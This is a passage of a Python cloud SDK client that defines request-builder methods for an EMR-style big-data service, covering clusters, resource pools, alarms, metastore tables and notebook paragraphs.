"MetaStoreType": meta_store_type,
"SecurityGroupName": security_group_name,
"DepositType": deposit_type,
"MachineType": machine_type,
"BootstrapAction": list_of_bootstrap_action,
"RegionId": region_id,
"UseLocalMetaDb": use_local_meta_db,
"MetaStoreConf": meta_store_conf,
"EmrVer": emr_ver,
"TemplateName": template_name,
"UserDefinedEmrEcsRole": user_defined_emr_ecs_role,
"IsOpenPublicIp": is_open_public_ip,
"Period": period,
"InstanceGeneration": instance_generation,
"VSwitchId": vswitch_id,
"ClusterType": cluster_type,
"AutoRenew": auto_renew,
"OptionSoftWareList": list_of_option_soft_ware_list,
"VpcId": vpc_id,
"NetType": net_type,
"HostGroup": list_of_host_group,
"ZoneId": zone_id,
"UseCustomHiveMetaDb": use_custom_hive_meta_db,
"Config": list_of_config,
"HighAvailabilityEnable": high_availability_enable,
"InitCustomHiveMetaDb": init_custom_hive_meta_db}
repeat_info = {"BootstrapAction": ('BootstrapAction', 'list', 'dict', [('Path', 'str', None, None),
('Arg', 'str', None, None),
('Name', 'str', None, None),
]),
"OptionSoftWareList": ('OptionSoftWareList', 'list', 'str', None),
"HostGroup": ('HostGroup', 'list', 'dict', [('Period', 'str', None, None),
('SysDiskCapacity', 'str', None, None),
('DiskCapacity', 'str', None, None),
('SysDiskType', 'str', None, None),
('ClusterId', 'str', None, None),
('DiskType', 'str', None, None),
('HostGroupName', 'str', None, None),
('VSwitchId', 'str', None, None),
('DiskCount', 'str', None, None),
('AutoRenew', 'str', None, None),
('HostGroupId', 'str', None, None),
('NodeCount', 'str', None, None),
('InstanceType', 'str', None, None),
('Comment', 'str', None, None),
('ChargeType', 'str', None, None),
('MultiInstanceTypes', 'str', None, None),
('CreateType', 'str', None, None),
('HostGroupType', 'str', None, None),
]),
"Config": ('Config', 'list', 'dict', [('ConfigKey', 'str', None, None),
('FileName', 'str', None, None),
('Encrypt', 'str', None, None),
('Replace', 'str', None, None),
('ConfigValue', 'str', None, None),
('ServiceName', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def modify_resource_pool_scheduler_type(
self,
resource_owner_id=None,
region_id=None,
scheduler_type=None,
cluster_id=None):
api_request = APIRequest('ModifyResourcePoolSchedulerType', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"SchedulerType": scheduler_type,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def list_resource_pool(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
cluster_id=None,
page_number=None,
pool_type=None):
api_request = APIRequest('ListResourcePool', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"ClusterId": cluster_id,
"PageNumber": page_number,
"PoolType": pool_type}
return self._handle_request(api_request).result
def describe_cluster_resource_pool_scheduler_type(
self, resource_owner_id=None, region_id=None, cluster_id=None):
api_request = APIRequest(
'DescribeClusterResourcePoolSchedulerType',
'GET',
'http',
'RPC',
'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def delete_resource_pool(
self,
resource_owner_id=None,
region_id=None,
resource_pool_id=None,
cluster_id=None):
api_request = APIRequest('DeleteResourcePool', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ResourcePoolId": resource_pool_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def create_resource_pool(
self,
note=None,
resource_owner_id=None,
region_id=None,
name=None,
active=None,
cluster_id=None,
yarn_site_config=None,
list_of_config=None,
pool_type=None):
api_request = APIRequest('CreateResourcePool', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"Note": note,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Active": active,
"ClusterId": cluster_id,
"YarnSiteConfig": yarn_site_config,
"Config": list_of_config,
"PoolType": pool_type}
repeat_info = {"Config": ('Config', 'list', 'dict', [('ConfigKey', 'str', None, None),
('Note', 'str', None, None),
('configType', 'str', None, None),
('TargetId', 'str', None, None),
('ConfigValue', 'str', None, None),
('Category', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def query_alarm_rules(self, resource_owner_id=None, region_id=None, cluster_id=None):
api_request = APIRequest('QueryAlarmRules', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def query_alarm_history(
self,
cursor=None,
resource_owner_id=None,
size=None,
region_id=None,
cluster_id=None,
start_time_stamp=None,
end_time_stamp=None):
api_request = APIRequest('QueryAlarmHistory', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"Cursor": cursor,
"ResourceOwnerId": resource_owner_id,
"Size": size,
"RegionId": region_id,
"ClusterId": cluster_id,
"StartTimeStamp": start_time_stamp,
"EndTimeStamp": end_time_stamp}
return self._handle_request(api_request).result
def list_cluster_service_quick_link(
self,
resource_owner_id=None,
region_id=None,
service_name=None,
cluster_id=None):
api_request = APIRequest('ListClusterServiceQuickLink', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ServiceName": service_name,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def list_cluster_service_config_history(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
service_name=None,
cluster_id=None,
page_number=None,
config_version=None):
api_request = APIRequest('ListClusterServiceConfigHistory', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"ServiceName": service_name,
"ClusterId": cluster_id,
"PageNumber": page_number,
"ConfigVersion": config_version}
return self._handle_request(api_request).result
def list_cluster_host_group(
self,
resource_owner_id=None,
list_of_status_list=None,
region_id=None,
host_group_id=None,
page_size=None,
cluster_id=None,
host_group_name=None,
host_group_type=None,
page_number=None):
api_request = APIRequest('ListClusterHostGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"StatusList": list_of_status_list,
"RegionId": region_id,
"HostGroupId": host_group_id,
"PageSize": page_size,
"ClusterId": cluster_id,
"HostGroupName": host_group_name,
"HostGroupType": host_group_type,
"PageNumber": page_number}
repeat_info = {"StatusList": ('StatusList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def describe_cluster_service_config_tag(
self,
resource_owner_id=None,
region_id=None,
config_tag=None,
service_name=None,
cluster_id=None):
api_request = APIRequest('DescribeClusterServiceConfigTag', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ConfigTag": config_tag,
"ServiceName": service_name,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def resize_cluster_v2(
self,
vswitch_id=None,
is_open_public_ip=None,
auto_pay_order=None,
list_of_host_component_info=None,
region_id=None,
list_of_host_group=None,
cluster_id=None):
api_request = APIRequest('ResizeClusterV2', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"VswitchId": vswitch_id,
"IsOpenPublicIp": is_open_public_ip,
"AutoPayOrder": auto_pay_order,
"HostComponentInfo": list_of_host_component_info,
"RegionId": region_id,
"HostGroup": list_of_host_group,
"ClusterId": cluster_id}
repeat_info = {"HostComponentInfo": ('HostComponentInfo', 'list', 'dict', [('HostName', 'str', None, None),
('ComponentNameList', 'list', 'str', None),
('ServiceName', 'str', None, None),
]),
"HostGroup": ('HostGroup', 'list', 'dict', [('Period', 'str', None, None),
('SysDiskCapacity', 'str', None, None),
('HostKeyPairName', 'str', None, None),
('DiskCapacity', 'str', None, None),
('SysDiskType', 'str', None, None),
('ClusterId', 'str', None, None),
('DiskType', 'str', None, None),
('HostGroupName', 'str', None, None),
('VswitchId', 'str', None, None),
('DiskCount', 'str', None, None),
('AutoRenew', 'str', None, None),
('HostGroupId', 'str', None, None),
('NodeCount', 'str', None, None),
('InstanceType', 'str', None, None),
('Comment', 'str', None, None),
('ChargeType', 'str', None, None),
('CreateType', 'str', None, None),
('HostPassword', 'str', None, None),
('HostGroupType', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def release_cluster_host_group(
self,
resource_owner_id=None,
region_id=None,
host_group_id=None,
instance_id_list=None,
cluster_id=None):
api_request = APIRequest('ReleaseClusterHostGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroupId": host_group_id,
"InstanceIdList": instance_id_list,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def describe_cluster_v2(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DescribeClusterV2', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def create_cluster_v2(
self,
auto_pay_order=None,
resource_owner_id=None,
log_path=None,
master_pwd=None,
configurations=None,
io_optimized=None,
security_group_id=None,
ssh_enable=None,
eas_enable=None,
key_pair_name=None,
meta_store_type=None,
security_group_name=None,
deposit_type=None,
machine_type=None,
list_of_host_component_info=None,
list_of_bootstrap_action=None,
region_id=None,
use_local_meta_db=None,
meta_store_conf=None,
emr_ver=None,
list_of_user_info=None,
user_defined_emr_ecs_role=None,
authorize_content=None,
is_open_public_ip=None,
period=None,
white_list_type=None,
related_cluster_id=None,
instance_generation=None,
vswitch_id=None,
cluster_type=None,
auto_renew=None,
list_of_option_soft_ware_list=None,
vpc_id=None,
net_type=None,
name=None,
list_of_host_group=None,
zone_id=None,
charge_type=None,
use_custom_hive_meta_db=None,
list_of_config=None,
high_availability_enable=None,
init_custom_hive_meta_db=None):
api_request = APIRequest('CreateClusterV2', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"AutoPayOrder": auto_pay_order,
"ResourceOwnerId": resource_owner_id,
"LogPath": log_path,
"MasterPwd": master_pwd,
"Configurations": configurations,
"IoOptimized": io_optimized,
"SecurityGroupId": security_group_id,
"SshEnable": ssh_enable,
"EasEnable": eas_enable,
"KeyPairName": key_pair_name,
"MetaStoreType": meta_store_type,
"SecurityGroupName": security_group_name,
"DepositType": deposit_type,
"MachineType": machine_type,
"HostComponentInfo": list_of_host_component_info,
"BootstrapAction": list_of_bootstrap_action,
"RegionId": region_id,
"UseLocalMetaDb": use_local_meta_db,
"MetaStoreConf": meta_store_conf,
"EmrVer": emr_ver,
"UserInfo": list_of_user_info,
"UserDefinedEmrEcsRole": user_defined_emr_ecs_role,
"AuthorizeContent": authorize_content,
"IsOpenPublicIp": is_open_public_ip,
"Period": period,
"WhiteListType": white_list_type,
"RelatedClusterId": related_cluster_id,
"InstanceGeneration": instance_generation,
"VSwitchId": vswitch_id,
"ClusterType": cluster_type,
"AutoRenew": auto_renew,
"OptionSoftWareList": list_of_option_soft_ware_list,
"VpcId": vpc_id,
"NetType": net_type,
"Name": name,
"HostGroup": list_of_host_group,
"ZoneId": zone_id,
"ChargeType": charge_type,
"UseCustomHiveMetaDB": use_custom_hive_meta_db,
"Config": list_of_config,
"HighAvailabilityEnable": high_availability_enable,
"InitCustomHiveMetaDB": init_custom_hive_meta_db}
repeat_info = {"HostComponentInfo": ('HostComponentInfo', 'list', 'dict', [('HostName', 'str', None, None),
('ComponentNameList', 'list', 'str', None),
('ServiceName', 'str', None, None),
]),
"BootstrapAction": ('BootstrapAction', 'list', 'dict', [('Path', 'str', None, None),
('Arg', 'str', None, None),
('Name', 'str', None, None),
]),
"UserInfo": ('UserInfo', 'list', 'dict', [('Password', 'str', None, None),
('UserId', 'str', None, None),
('UserName', 'str', None, None),
]),
"OptionSoftWareList": ('OptionSoftWareList', 'list', 'str', None),
"HostGroup": ('HostGroup', 'list', 'dict', [('Period', 'str', None, None),
('SysDiskCapacity', 'str', None, None),
('DiskCapacity', 'str', None, None),
('SysDiskType', 'str', None, None),
('ClusterId', 'str', None, None),
('DiskType', 'str', None, None),
('HostGroupName', 'str', None, None),
('VSwitchId', 'str', None, None),
('DiskCount', 'str', None, None),
('AutoRenew', 'str', None, None),
('GpuDriver', 'str', None, None),
('HostGroupId', 'str', None, None),
('NodeCount', 'str', None, None),
('InstanceType', 'str', None, None),
('Comment', 'str', None, None),
('ChargeType', 'str', None, None),
('CreateType', 'str', None, None),
('HostGroupType', 'str', None, None),
]),
"Config": ('Config', 'list', 'dict', [('ConfigKey', 'str', None, None),
('FileName', 'str', None, None),
('Encrypt', 'str', None, None),
('Replace', 'str', None, None),
('ConfigValue', 'str', None, None),
('ServiceName', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def terminate_cluster_operation(
self,
resource_owner_id=None,
region_id=None,
operation_id=None,
cluster_id=None):
api_request = APIRequest('TerminateClusterOperation', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"OperationId": operation_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def describe_cluster_op_log(
self,
resource_owner_id=None,
region_id=None,
end_time=None,
id_=None,
start_time=None):
api_request = APIRequest('DescribeClusterOpLog', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"EndTime": end_time,
"Id": id_,
"StartTime": start_time}
return self._handle_request(api_request).result
def list_depended_service(
self,
resource_owner_id=None,
region_id=None,
service_name=None,
cluster_id=None):
api_request = APIRequest('ListDependedService', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ServiceName": service_name,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def run_cluster_service_action(
self,
execute_strategy=None,
list_of_host_group_id_list=None,
resource_owner_id=None,
only_restart_stale_config_nodes=None,
node_count_per_batch=None,
cluster_id=None,
custom_command=None,
component_name_list=None,
region_id=None,
service_action_name=None,
is_rolling=None,
totlerate_fail_count=None,
service_name=None,
comment=None,
custom_params=None,
interval=None,
host_id_list=None,
turn_on_maintenance_mode=None):
api_request = APIRequest('RunClusterServiceAction', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ExecuteStrategy": execute_strategy,
"HostGroupIdList": list_of_host_group_id_list,
"ResourceOwnerId": resource_owner_id,
"OnlyRestartStaleConfigNodes": only_restart_stale_config_nodes,
"NodeCountPerBatch": node_count_per_batch,
"ClusterId": cluster_id,
"CustomCommand": custom_command,
"ComponentNameList": component_name_list,
"RegionId": region_id,
"ServiceActionName": service_action_name,
"IsRolling": is_rolling,
"TotlerateFailCount": totlerate_fail_count,
"ServiceName": service_name,
"Comment": comment,
"CustomParams": custom_params,
"Interval": interval,
"HostIdList": host_id_list,
"TurnOnMaintenanceMode": turn_on_maintenance_mode}
repeat_info = {"HostGroupIdList": ('HostGroupIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def modify_cluster_service_config(
self,
refresh_host_config=None,
resource_owner_id=None,
config_type=None,
host_instance_id=None,
group_id=None,
cluster_id=None,
custom_config_params=None,
region_id=None,
service_name=None,
comment=None,
list_of_gateway_cluster_id_list=None,
config_params=None):
api_request = APIRequest('ModifyClusterServiceConfig', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RefreshHostConfig": refresh_host_config,
"ResourceOwnerId": resource_owner_id,
"ConfigType": config_type,
"HostInstanceId": host_instance_id,
"GroupId": group_id,
"ClusterId": cluster_id,
"CustomConfigParams": custom_config_params,
"RegionId": region_id,
"ServiceName": service_name,
"Comment": comment,
"GatewayClusterIdList": list_of_gateway_cluster_id_list,
"ConfigParams": config_params}
repeat_info = {"GatewayClusterIdList": ('GatewayClusterIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_required_service(
self,
resource_owner_id=None,
region_id=None,
emr_version=None,
service_name_list=None):
api_request = APIRequest('ListRequiredService', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"EmrVersion": emr_version,
"ServiceNameList": service_name_list}
return self._handle_request(api_request).result
def list_cluster_service(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
cluster_id=None,
page_number=None):
api_request = APIRequest('ListClusterService', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"ClusterId": cluster_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_cluster_operation_host_task(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
operation_id=None,
host_id=None,
cluster_id=None,
page_number=None,
status=None):
api_request = APIRequest('ListClusterOperationHostTask', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"OperationId": operation_id,
"HostId": host_id,
"ClusterId": cluster_id,
"PageNumber": page_number,
"Status": status}
return self._handle_request(api_request).result
def list_cluster_operation_host(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
operation_id=None,
cluster_id=None,
page_number=None,
status=None):
api_request = APIRequest('ListClusterOperationHost', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"OperationId": operation_id,
"ClusterId": cluster_id,
"PageNumber": page_number,
"Status": status}
return self._handle_request(api_request).result
def list_cluster_operation(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
service_name=None,
cluster_id=None,
page_number=None,
status=None):
api_request = APIRequest('ListClusterOperation', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"ServiceName": service_name,
"ClusterId": cluster_id,
"PageNumber": page_number,
"Status": status}
return self._handle_request(api_request).result
def list_cluster_host_component(
self,
resource_owner_id=None,
host_name=None,
host_instance_id=None,
region_id=None,
page_size=None,
component_name=None,
service_name=None,
cluster_id=None,
host_role=None,
page_number=None,
component_status=None):
api_request = APIRequest('ListClusterHostComponent', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"HostName": host_name,
"HostInstanceId": host_instance_id,
"RegionId": region_id,
"PageSize": page_size,
"ComponentName": component_name,
"ServiceName": service_name,
"ClusterId": cluster_id,
"HostRole": host_role,
"PageNumber": page_number,
"ComponentStatus": component_status}
return self._handle_request(api_request).result
def list_cluster_host(
self,
resource_owner_id=None,
host_instance_id=None,
list_of_status_list=None,
private_ip=None,
component_name=None,
public_ip=None,
cluster_id=None,
page_number=None,
host_name=None,
group_type=None,
region_id=None,
host_group_id=None,
page_size=None):
api_request = APIRequest('ListClusterHost', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"HostInstanceId": host_instance_id,
"StatusList": list_of_status_list,
"PrivateIp": private_ip,
"ComponentName": component_name,
"PublicIp": public_ip,
"ClusterId": cluster_id,
"PageNumber": page_number,
"HostName": host_name,
"GroupType": group_type,
"RegionId": region_id,
"HostGroupId": host_group_id,
"PageSize": page_size}
repeat_info = {"StatusList": ('StatusList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def describe_cluster_service_config_history(
self,
resource_owner_id=None,
region_id=None,
service_name=None,
cluster_id=None,
config_version=None):
api_request = APIRequest('DescribeClusterServiceConfigHistory',
'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ServiceName": service_name,
"ClusterId": cluster_id,
"ConfigVersion": config_version}
return self._handle_request(api_request).result
def describe_cluster_service_config(
self,
resource_owner_id=None,
host_instance_id=None,
tag_value=None,
region_id=None,
group_id=None,
service_name=None,
cluster_id=None,
config_version=None):
api_request = APIRequest('DescribeClusterServiceConfig', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"HostInstanceId": host_instance_id,
"TagValue": tag_value,
"RegionId": region_id,
"GroupId": group_id,
"ServiceName": service_name,
"ClusterId": cluster_id,
"ConfigVersion": config_version}
return self._handle_request(api_request).result
def describe_cluster_service(
self,
resource_owner_id=None,
region_id=None,
service_name=None,
cluster_id=None):
api_request = APIRequest('DescribeClusterService', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ServiceName": service_name,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def describe_cluster_operation_host_task_log(
self,
resource_owner_id=None,
region_id=None,
operation_id=None,
host_id=None,
cluster_id=None,
task_id=None,
status=None):
api_request = APIRequest('DescribeClusterOperationHostTaskLog',
'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"OperationId": operation_id,
"HostId": host_id,
"ClusterId": cluster_id,
"TaskId": task_id,
"Status": status}
return self._handle_request(api_request).result
def describe_cluster_basic_info(self, resource_owner_id=None, region_id=None, cluster_id=None):
api_request = APIRequest('DescribeClusterBasicInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def add_cluster_service(
self,
resource_owner_id=None,
region_id=None,
list_of_service=None,
comment=None,
cluster_id=None):
api_request = APIRequest('AddClusterService', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Service": list_of_service,
"Comment": comment,
"ClusterId": cluster_id}
repeat_info = {"Service": ('Service', 'list', 'dict', [('ServiceName', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def cancel_order(self, resource_owner_id=None, region_id=None, cluster_id=None):
api_request = APIRequest('CancelOrder', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def run_note_paragraphs(self, resource_owner_id=None, region_id=None, note_id=None):
api_request = APIRequest('RunNoteParagraphs', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"NoteId": note_id}
return self._handle_request(api_request).result
def metastore_search_tables(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
table_name=None):
api_request = APIRequest('MetastoreSearchTables', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"TableName": table_name}
return self._handle_request(api_request).result
def metastore_list_tables(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
page_size=None,
table_id=None,
database_id=None,
table_name=None,
page_number=None,
fuzzy_table_name=None):
api_request = APIRequest('MetastoreListTables', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"PageSize": page_size,
"TableId": table_id,
"DatabaseId": database_id,
"TableName": table_name,
"PageNumber": page_number,
"FuzzyTableName": fuzzy_table_name}
return self._handle_request(api_request).result
def metastore_list_databases(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
page_size=None,
fuzzy_database_name=None,
page_number=None):
api_request = APIRequest('MetastoreListDatabases', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"PageSize": page_size,
"FuzzyDatabaseName": fuzzy_database_name,
"PageNumber": page_number}
return self._handle_request(api_request).result
def metastore_drop_table(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
table_id=None,
table_name=None,
database_id=None):
api_request = APIRequest('MetastoreDropTable', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"TableId": table_id,
"TableName": table_name,
"DatabaseId": database_id}
return self._handle_request(api_request).result
def metastore_drop_database(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
database_id=None):
api_request = APIRequest('MetastoreDropDatabase', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"DatabaseId": database_id}
return self._handle_request(api_request).result
def metastore_describe_table(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
id_=None,
table_name=None,
database_id=None):
api_request = APIRequest('MetastoreDescribeTable', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"Id": id_,
"TableName": table_name,
"DatabaseId": database_id}
return self._handle_request(api_request).result
def metastore_describe_database(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
id_=None):
api_request = APIRequest('MetastoreDescribeDatabase', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def metastore_data_preview(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
table_name=None):
api_request = APIRequest('MetastoreDataPreview', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"TableName": table_name}
return self._handle_request(api_request).result
def metastore_create_table(
self,
resource_owner_id=None,
field_delimiter=None,
list_of_column=None,
create_with=None,
list_of_partition=None,
db_name=None,
region_id=None,
create_sql=None,
comment=None,
location_uri=None,
table_name=None,
database_id=None):
api_request = APIRequest('MetastoreCreateTable', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"FieldDelimiter": field_delimiter,
"Column": list_of_column,
"CreateWith": create_with,
"Partition": list_of_partition,
"DbName": db_name,
"RegionId": region_id,
"CreateSql": create_sql,
"Comment": comment,
"LocationUri": location_uri,
"TableName": table_name,
"DatabaseId": database_id}
repeat_info = {"Column": ('Column', 'list', 'dict', [('Name', 'str', None, None),
('Comment', 'str', None, None),
('Type', 'str', None, None),
]),
"Partition": ('Partition', 'list', 'dict', [('Name', 'str', None, None),
('Comment', 'str', None, None),
('Type', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def metastore_create_database(
self,
db_source=None,
resource_owner_id=None,
db_name=None,
region_id=None,
data_source_id=None,
description=None,
comment=None,
location_uri=None,
cluster_biz_id=None):
api_request = APIRequest('MetastoreCreateDatabase', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"DbSource": db_source,
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"DataSourceId": data_source_id,
"Description": description,
"Comment": comment,
"LocationUri": location_uri,
"ClusterBizId": cluster_biz_id}
return self._handle_request(api_request).result
def stop_paragraph(self, resource_owner_id=None, region_id=None, note_id=None, id_=None):
api_request = APIRequest('StopParagraph', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"NoteId": note_id,
"Id": id_}
return self._handle_request(api_request).result
def run_paragraph(
self,
resource_owner_id=None,
region_id=None,
note_id=None,
id_=None,
text=None):
api_request = APIRequest('RunParagraph', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"NoteId": note_id,
"Id": id_,
"Text": text}
return self._handle_request(api_request).result
def describe_paragraph(self, resource_owner_id=None, region_id=None, note_id=None, id_=None):
api_request = APIRequest('DescribeParagraph', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"NoteId": note_id,
"Id": id_}
return self._handle_request(api_request).result
def delete_paragraph(self, resource_owner_id=None, region_id=None, note_id=None, id_=None):
api_request = APIRequest('DeleteParagraph', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"NoteId": note_id,
"Id": id_}
return self._handle_request(api_request).result
def delete_note(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DeleteNote', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def save_paragraph(
self,
resource_owner_id=None,
region_id=None,
note_id=None,
id_=None,
text=None):
api_request = APIRequest('SaveParagraph', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"NoteId": note_id,
"Id": id_,
"Text": text}
return self._handle_request(api_request).result
def retry_execution_plan(
self,
resource_owner_id=None,
region_id=None,
execution_plan_work_node_ids=None,
id_=None):
api_request = APIRequest('RetryExecutionPlan', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ExecutionPlanWorkNodeIds": execution_plan_work_node_ids,
"Id": id_}
return self._handle_request(api_request).result
def list_notes(self, resource_owner_id=None, region_id=None):
api_request = APIRequest('ListNotes', 'GET', 'http', 'RPC', 'query')
api_request._params = {"ResourceOwnerId": resource_owner_id, "RegionId": region_id}
return self._handle_request(api_request).result
def detach_cluster_for_note(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DetachClusterForNote', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def describe_note(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DescribeNote', 'GET', 'http', 'RPC', 'query')
api_request._params = {
